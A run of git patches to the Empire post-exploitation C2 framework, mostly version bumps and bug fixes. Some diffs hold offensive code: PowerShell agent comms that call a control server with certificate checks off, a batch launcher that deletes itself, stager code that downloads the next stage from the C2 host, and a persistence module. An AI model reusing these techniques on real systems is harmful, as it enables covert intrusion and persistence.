{timeout}\n" if delete.lower() == "true": # code that causes the .bat to delete itself code += '(goto) 2>nul & del "%~f0"\n' From 96c75471bc5e9175c0ab2592148ac4c67d8c5b11 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 16 Mar 2023 20:37:21 -0700 Subject: [PATCH 05/17] try to fix the version bump code --- .github/workflows/release-private-start.yml | 2 +- empire/server/common/empire.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/release-private-start.yml b/.github/workflows/release-private-start.yml index 7cb2c48ad..f543a9c03 100644 --- a/.github/workflows/release-private-start.yml +++ b/.github/workflows/release-private-start.yml @@ -43,7 +43,7 @@ jobs: poetry version ${{ github.event.inputs.bumpType }} APP_VERSION=$(poetry version -s) echo "APP_VERSION=$(poetry version -s)" >> $GITHUB_ENV - sed -i "s/$OLD_VERSION\ BC\ Security/$APP_VERSION\ BC\ Security/" empire/server/common/empire.py + sed -i "s/${{ OLD_VERSION }}\ BC\ Security/${{ $APP_VERSION }}\ BC\ Security/" empire/server/common/empire.py - name: Get release branch name run: | echo "RELEASE_BRANCH=release/$APP_VERSION-private" >> $GITHUB_ENV diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 084a4de1c..823fc39a9 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -37,7 +37,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.0.4 BC Security Fork" +VERSION = "5.1.0 BC Security Fork" log = logging.getLogger(__name__) From 9e4ec30c6ab14317ae71cc5728e8023c783081ed Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 16 Mar 2023 20:41:19 -0700 Subject: [PATCH 06/17] try to fix the version bump code --- .github/workflows/release-private-start.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release-private-start.yml b/.github/workflows/release-private-start.yml index f543a9c03..7cb2c48ad 100644 --- a/.github/workflows/release-private-start.yml +++ b/.github/workflows/release-private-start.yml @@ -43,7 +43,7 @@ jobs: poetry version ${{ github.event.inputs.bumpType }} APP_VERSION=$(poetry version -s) echo "APP_VERSION=$(poetry version -s)" >> $GITHUB_ENV - sed -i "s/${{ OLD_VERSION }}\ BC\ Security/${{ $APP_VERSION }}\ BC\ Security/" empire/server/common/empire.py + sed -i "s/$OLD_VERSION\ BC\ Security/$APP_VERSION\ BC\ Security/" empire/server/common/empire.py - name: Get release branch name run: | echo "RELEASE_BRANCH=release/$APP_VERSION-private" >> $GITHUB_ENV From edc0b31f0d59af00d3602841504b9a3e38d64319 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 17 Mar 2023 03:42:26 +0000 Subject: [PATCH 07/17] Prepare release 5.1.1 private --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 32210fca9..c84068733 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.1.1] - 2023-03-17 + - Added D/Invoke option to Process Injection (@Cx01N) - Added IronPython and csharp to windows/launcher_bat (@Cx01N) - Added language option to spawn and spawnas modules (@Cx01N) @@ -427,7 +429,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.0...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.1...HEAD + +[5.1.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.0...v5.1.1 [5.1.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.4...v5.1.0 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 823fc39a9..f52b3fec9 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -37,7 +37,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.1.0 BC Security Fork" +VERSION = "5.1.1 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 749c1c650..b4350aa34 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.1.0" +version = "5.1.1" description = "" authors = ["BC Security "] readme = "README.md" From 19338bb3ae4973415aa133a3510b2fbe9f0b3981 Mon Sep 17 00:00:00 2001 From: Hubble <42596432+Hubbl3@users.noreply.github.com> Date: Sun, 19 Mar 2023 13:33:47 -0500 Subject: [PATCH 08/17] Foreign listener fix (#575) * moved changes to the proper branch see commit notes on sponsors-main branch * reverted the starkiller version * foreign listener fix * merged comms update fix * deleted accidently added extra file --- empire/server/data/agent/stagers/http/comms.ps1 | 8 ++++---- empire/server/data/agent/stagers/http_com/comms.ps1 | 8 ++++---- empire/server/listeners/http_foreign.py | 12 ++++++++++++ 3 files changed, 20 insertions(+), 8 deletions(-) diff --git a/empire/server/data/agent/stagers/http/comms.ps1 b/empire/server/data/agent/stagers/http/comms.ps1 index ee7531f6c..5e47a0386 100644 --- a/empire/server/data/agent/stagers/http/comms.ps1 +++ b/empire/server/data/agent/stagers/http/comms.ps1 @@ -1,5 +1,5 @@ -$server = "{{ host }}"; -$Script:ControlServers = @($server); +$Script:server = "{{ host }}"; +$Script:ControlServers = @($Script:server); $Script:ServerIndex = 0; if($server.StartsWith('https')){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; @@ -38,7 +38,7 @@ $Script:SendMessage = { # exception posting data... if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation - Start-Negotiate -S "$ser" -SK $SK -UA $ua; + Start-Negotiate -S "$Script:server" -SK $SK -UA $ua; } } } @@ -77,7 +77,7 @@ $Script:GetTask = { $script:MissedCheckins += 1; if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation - Start-Negotiate -S "$ser" -SK $SK -UA $ua; + Start-Negotiate -S "$Script:server" -SK $SK -UA $ua; } } }; \ No newline at end of file diff --git a/empire/server/data/agent/stagers/http_com/comms.ps1 b/empire/server/data/agent/stagers/http_com/comms.ps1 index 909fc048a..c63a989fa 100644 --- a/empire/server/data/agent/stagers/http_com/comms.ps1 +++ b/empire/server/data/agent/stagers/http_com/comms.ps1 @@ -1,6 +1,6 @@ # Update control servers -$server = "{{ host }}"; -$Script:ControlServers = @("$server"); +$Script:server = "{{ host }}"; +$Script:ControlServers = @("$Script:server"); $Script:ServerIndex = 0; if(-not $IE) { @@ -39,7 +39,7 @@ $script:GetTask = { $script:MissedCheckins += 1 if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation - Start-Negotiate -S "$ser" -SK $SK -UA $ua; + Start-Negotiate -S "$Script:server" -SK $SK -UA $ua; } } }; @@ -75,7 +75,7 @@ $script:SendMessage = { # exception posting data... if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation - Start-Negotiate -S "$ser" -SK $SK -UA $ua; + Start-Negotiate -S "$Script:server" -SK $SK -UA $ua; } } } diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index affc033ad..e375bb6eb 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -62,6 +62,11 @@ def __init__(self, mainMenu: MainMenu, params=[]): "Required": True, "Value": "2c103f2c4ed1e59c0b4e2e01821770fa", }, + "Cookie": { + "Description": "Custom Cookie Name", + "Required": False, + "Value": "", + }, "DefaultDelay": { "Description": "Agent delay/reach back interval (in seconds).", "Required": True, @@ -115,6 +120,13 @@ def __init__(self, mainMenu: MainMenu, params=[]): data_util.get_config("staging_key")[0] ) + self.session_cookie = "" + self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/" + + # check if the current session cookie not empty and then generate random cookie + if self.session_cookie == "": + self.options["Cookie"]["Value"] = listener_util.generate_cookie() + self.instance_log = log def default_response(self): From c5f65733880e1cbb5ee0249f9dc0dc82ca078c70 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 20 Mar 2023 08:39:44 -0400 Subject: [PATCH 09/17] Updated error message handling for port forward pivot (#576) * updated error message handling for port forward pivot * updated changelog --- CHANGELOG.md | 3 +++ empire/server/listeners/port_forward_pivot.py | 5 +---- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c84068733..c6300cb54 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Fixed foreign listener issue with cookies (@Hubbl3) +- Fixed error message handling for port forward pivot (@Cx01N) + ## [5.1.1] - 2023-03-17 - Added D/Invoke option to Process Injection (@Cx01N) diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index e00129e02..8ebb7e34f 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -721,9 +721,6 @@ def start(self, name=""): session_id = agent.session_id self.options["Agent"] = tempOptions["Agent"] if agent and agent.high_integrity: - isElevated = agent.high_integrity - if not isElevated: - log.error("Agent must be elevated to run a redirector") if agent.language.lower() in ["powershell", "csharp"]: # logic for powershell agents script = """ @@ -853,7 +850,7 @@ def start(self, name=""): else: log.error("Unable to determine the language for the agent") else: - log.error("Agent is not present in the cache") + log.error("Agent must be elevated to run a port forward pivot") return False except Exception: log.error(f'Listener "{name}" failed to start') From 759f6e0f1d57d85d7d675f9e6bd2d4bc8686f103 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 20 Mar 2023 08:41:17 -0400 Subject: [PATCH 10/17] Removed thread from IronPython Agent (#577) * removed threading from the ironpython stager so that the parent process doesn't close out the child threads * formatting * updated changelog --------- Co-authored-by: hubbl3 --- CHANGELOG.md | 1 + empire/server/common/stagers.py | 3 --- empire/server/stagers/CSharpPy.yaml | 6 ++---- empire/server/stagers/windows/launcher_bat.py | 7 ------- 4 files changed, 3 insertions(+), 14 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c6300cb54..7399abf25 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] +- Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index a6f6536c6..c57e28bd6 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -214,9 +214,6 @@ def generate_exe_oneliner( $assembly.GetType("Program").GetMethod("Main").Invoke($null, $null); """ - if encode: - launcher += "Start-Sleep 10;" - # Remove comments and make one line launcher = helpers.strip_powershell_comments(launcher) launcher = data_util.ps_convert_to_oneliner(launcher) diff --git a/empire/server/stagers/CSharpPy.yaml b/empire/server/stagers/CSharpPy.yaml index e58316e24..3570ff290 100644 --- a/empire/server/stagers/CSharpPy.yaml +++ b/empire/server/stagers/CSharpPy.yaml @@ -59,11 +59,9 @@ string script = reader.ReadToEnd(); ShowConsoleWindow(); - new Thread(() => - { - Empire.Agent(script); - }).Start(); HideConsoleWindow(); + Empire.Agent(script); + } public static void ShowConsoleWindow() diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index b3d47ac7b..22cdf9927 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -66,11 +66,6 @@ def __init__(self, mainMenu, params=[]): "Required": False, "Value": "mattifestation etw", }, - "Timeout": { - "Description": "Time to wait before closing window. Setting to 0 will risk closing the process before it runs.", - "Required": True, - "Value": "10", - }, } # save off a copy of the mainMenu object to access external functionality @@ -90,7 +85,6 @@ def generate(self): obfuscate_command = self.options["ObfuscateCommand"]["Value"] bypasses = self.options["Bypasses"]["Value"] language = self.options["Language"]["Value"] - timeout = self.options["Timeout"]["Value"] if obfuscate.lower() == "true": obfuscate = True @@ -140,7 +134,6 @@ def generate(self): else: code = "@echo off\n" code += "start /b " + launcher + "\n" - code += f"timeout {timeout}\n" if delete.lower() == "true": # code that causes the .bat to delete itself code += '(goto) 2>nul & del "%~f0"\n' From 9a7639ce494f164089157c4b17fc5fa81a5d565f Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 22 Mar 2023 09:28:18 -0400 Subject: [PATCH 11/17] Fixed persistence/powerbreach/eventlog launcher generation (#579) * fixed persistence/powerbreach/eventlog launcher generation * updated changelog --- CHANGELOG.md | 1 + .../powershell/persistence/powerbreach/eventlog.py | 13 ++++++------- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7399abf25..4c652b2f3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) +- Fixed persistence/powerbreach/eventlog launcher generation (@Cx01N) ## [5.1.1] - 2023-03-17 diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index 4d01cff38..18e791e43 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -61,13 +61,12 @@ def generate( return handle_error_message("[!] Invalid listener: " + listener_name) else: - # set the listener value for the launcher - stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") - stager.options["Listener"] = listener_name - stager.options["Base64"] = "False" - - # and generate the code - stager_code = stager.generate() + stager_code = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + obfuscate=False, + encode=False, + ) if stager_code == "": return handle_error_message("[!] Error in launcher generation.") From d4755859cc837c1e69c77d74d4c2d0b1e04cc7fd Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 22 Mar 2023 09:29:14 -0400 Subject: [PATCH 12/17] Fixed upload issue in PowerShell agent and client (#578) * fixed upload for ps so it logs the error and doesnt return success * fixed client uploading to tmp directory always * updated changelog --- CHANGELOG.md | 3 ++- empire/client/src/menus/InteractMenu.py | 10 ++++++---- empire/server/data/agent/agent.ps1 | 4 ++-- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4c652b2f3..f3c3e0b6c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,9 +7,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] - Removed thread from IronPython agent (@Hubbl3) - - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) +- Fixed upload not reporting error in PowerShell agent (@Cx01N) +- Fixed client not giving option to select upload directory (@Cx01N) - Fixed persistence/powerbreach/eventlog launcher generation (@Cx01N) ## [5.1.1] - 2023-03-17 diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py index 3d5ba26e8..f220f3464 100644 --- a/empire/client/src/menus/InteractMenu.py +++ b/empire/client/src/menus/InteractMenu.py @@ -240,16 +240,19 @@ def script_command(self, script_cmd: str) -> None: log.error("[!] Error: " + response["detail"]) @command - def upload(self, local_file_directory: str) -> None: + def upload(self, local_file_directory: str, remote_file_directory: str) -> None: """ Tasks specified agent to upload a file. Use '-p' for a file selection dialog. - Usage: upload + Usage: upload [] """ # Get file and upload to server filename = local_file_directory.split("/")[-1] data = get_data_from_file(local_file_directory) + if not remote_file_directory: + remote_file_directory = filename + if data: response = state.upload_file(filename, data) @@ -258,9 +261,8 @@ def upload(self, local_file_directory: str) -> None: # If successful upload then pass to agent response = state.agent_upload_file( - self.session_id, response["id"], file_path="C:\\Temp\\" + filename + self.session_id, response["id"], file_path=remote_file_directory ) - # TODO: Allow upload to a specific directory if "id" in response.keys(): log.info("Tasked " + self.selected + " to upload file " + filename) elif "detail" in response.keys(): diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index 69146d54e..b2af2e418 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -909,11 +909,11 @@ function Invoke-Empire { # get the raw file contents and save it to the specified location $Content = [System.Convert]::FromBase64String($base64part); try{ - Set-Content -Path $filename -Value $Content -Encoding Byte + Set-Content -Path $filename -Value $Content -Encoding Byte -ErrorAction Stop -ErrorVariable error Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID; } catch { - Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID; + Encode-Packet -type 0 -data $error -ResultID $ResultID; } } # directory list From fc13fe612743a9cd8988b354f76a6e38d3e80a7c Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 22 Mar 2023 17:30:57 -0400 Subject: [PATCH 13/17] Updated foreign listener to use custom routing packet (#580) * fixed stager generation for foreign listeners * fixed pytest and cleaned up unused code * editted foreign listener test to set a routingpacket --------- Co-authored-by: hubbl3 --- empire/server/listeners/http_foreign.py | 32 ++++++------------- .../test/test_listener_generate_launcher.py | 6 +--- 2 files changed, 11 insertions(+), 27 deletions(-) diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index e375bb6eb..59b392774 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -6,7 +6,7 @@ from textwrap import dedent from typing import List, Optional, Tuple -from empire.server.common import helpers, packets, templating +from empire.server.common import helpers, templating from empire.server.common.empire import MainMenu from empire.server.utils import data_util, listener_util @@ -67,6 +67,11 @@ def __init__(self, mainMenu: MainMenu, params=[]): "Required": False, "Value": "", }, + "RoutingPacket": { + "Description": "Routing packet from the targeted listener", + "Required": True, + "Value": "", + }, "DefaultDelay": { "Description": "Agent delay/reach back interval (in seconds).", "Required": True, @@ -258,19 +263,11 @@ def generate_launcher( # this is the minimized RC4 stager code from rc4.ps1 stager += listener_util.powershell_rc4() - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket) + # Use routingpacket from foreign listener + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket.decode("UTF-8") }");' + stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' stager += f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" stager += "$data=$wc.DownloadData($ser+$t);" @@ -324,16 +321,7 @@ def generate_launcher( """ ) - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] # add the RC4 packet to a cookie launcherBase += ( diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index 80ebb50b3..ee4bd4482 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -122,11 +122,6 @@ def test_http_com_generate_launcher(monkeypatch, main_menu_mock): def test_http_foreign_generate_launcher(monkeypatch, main_menu_mock): from empire.server.listeners.http_foreign import Listener - # guarantee the session id. - packets = Mock() - packets.build_routing_packet.return_value = b"routing packet" - monkeypatch.setattr("empire.server.listeners.http_foreign.packets", packets) - # guarantee the chosen stage0 url. random = MagicMock() random.choice.side_effect = lambda x: x[0] @@ -135,6 +130,7 @@ def test_http_foreign_generate_launcher(monkeypatch, main_menu_mock): http_foreign_listener = Listener(main_menu_mock, []) http_foreign_listener.options["Host"]["Value"] = "http://localhost" + http_foreign_listener.options["RoutingPacket"]["Value"] = "cm91dGluZyBwYWNrZXQ=" main_menu_mock.listeners.activeListeners = { "fake_listener": {"options": http_foreign_listener.options} } From 22f28703065233bfb91f1c51c2fc44f027411aab Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 22 Mar 2023 16:49:16 -0700 Subject: [PATCH 14/17] fix socketio connection stacktrace (#581) * fix socketio connection stacktrace * Update empire/server/api/v2/websocket/socketio.py --- CHANGELOG.md | 1 + empire/server/api/v2/websocket/socketio.py | 15 +++++++++++---- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f3c3e0b6c..30d3abc9b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed issue with powershell and ironpython agents not using public classes (@Cx01N) - Fixed issue where large shellcode files lock up server in Invoke_Shellcode (@Cx01N) - Increased the default time for base64 encoded ironpython payloads (@Cx01N) +- Fix issue with large stacktrace on stale socketio connection (@Vinnybod) ## [5.1.0] - 2023-03-01 diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index e01977fc3..53fc92a35 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -1,6 +1,7 @@ import json import logging +from fastapi import HTTPException from sqlalchemy.orm import Session from empire.server.api import jwt_auth @@ -48,10 +49,16 @@ def get_user_from_sid(sid): @sio.on("connect") async def on_connect(sid, environ, auth): - user = await get_user_from_token(sid, auth["token"]) - if user: - log.info(f"{user.username} connected to socketio") - return + try: + user = await get_user_from_token(sid, auth["token"]) + if user: + log.info(f"{user.username} connected to socketio") + return + except HTTPException: + # If a server is restarted and clients are still connected, there are + # sometimes token handling errors. We want to reject these since they fail + # to auth, but we don't need to print the whole stacktrace. + return False return False From 7576e199b627bf5991ffa73369b8eeaa4f7eeea5 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 29 Mar 2023 02:53:26 +0000 Subject: [PATCH 15/17] Prepare release 5.1.2 private --- CHANGELOG.md | 7 ++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 30d3abc9b..5ed221001 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] + +## [5.1.2] - 2023-03-29 + - Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N) @@ -436,7 +439,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.1...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.2...HEAD + +[5.1.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.1...v5.1.2 [5.1.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.0...v5.1.1 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index f52b3fec9..318e5aed9 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -37,7 +37,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.1.1 BC Security Fork" +VERSION = "5.1.2 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index b4350aa34..f52fa5e82 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.1.1" +version = "5.1.2" description = "" authors = ["BC Security "] readme = "README.md" From 9b4ef73ec63a411eec9fe0d57ba6a66e2267a181 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 29 Mar 2023 04:51:25 +0000 Subject: [PATCH 16/17] Update starkiller version to v2.1.1 --- .gitmodules | 2 +- CHANGELOG.md | 1 + empire/server/api/v2/starkiller | 2 +- empire/server/config.yaml | 4 ++-- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.gitmodules b/.gitmodules index 660094935..313945057 100644 --- a/.gitmodules +++ b/.gitmodules @@ -48,7 +48,7 @@ url = https://github.com/BC-SECURITY/DotNetStratumMiner.git [submodule "empire/server/api/v2/starkiller"] path = empire/server/api/v2/starkiller - url = git@github.com:BC-SECURITY/Starkiller-Sponsors.git + url = https://github.com/BC-SECURITY/Starkiller.git [submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF"] path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF url = https://github.com/BC-SECURITY/RunOF.git diff --git a/CHANGELOG.md b/CHANGELOG.md index 5ed221001..79dd62cda 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [5.1.2] - 2023-03-29 +- Updated Starkiller to v2.1.1 - Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) diff --git a/empire/server/api/v2/starkiller b/empire/server/api/v2/starkiller index 5a8273ab8..5510c49ac 160000 --- a/empire/server/api/v2/starkiller +++ b/empire/server/api/v2/starkiller @@ -1 +1 @@ -Subproject commit 5a8273ab8d19aed189a21b6938219fa72fa268c3 +Subproject commit 5510c49acf4fbfbe6e2ec204b935ab4b3b1b87a3 diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 2c16fbb4d..ef6a4bf4e 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -35,9 +35,9 @@ database: # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8" ip-blacklist: "" starkiller: - repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git + repo: https://github.com/BC-SECURITY/Starkiller.git # Can be a branch, tag, or commit hash - ref: sponsors-main + ref: v2.1.1 # for private-main, instead of updating the submodule, just work out of a local copy. # So devs can work off the latest changes and not worry about accidentally updating the submodule # for the downstream main branches. From f43b12a31a366580a165058832bc8ef1f5a6798d Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Tue, 28 Mar 2023 21:56:56 -0700 Subject: [PATCH 17/17] Update CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f9463d408..786c81192 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,8 +8,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [5.1.2] - 2023-03-29 -- Updated Starkiller to v2.1.1 +- Updated Starkiller to v2.1.1 - Removed thread from IronPython agent (@Hubbl3) - Fixed foreign listener issue with cookies (@Hubbl3) - Fixed error message handling for port forward pivot (@Cx01N)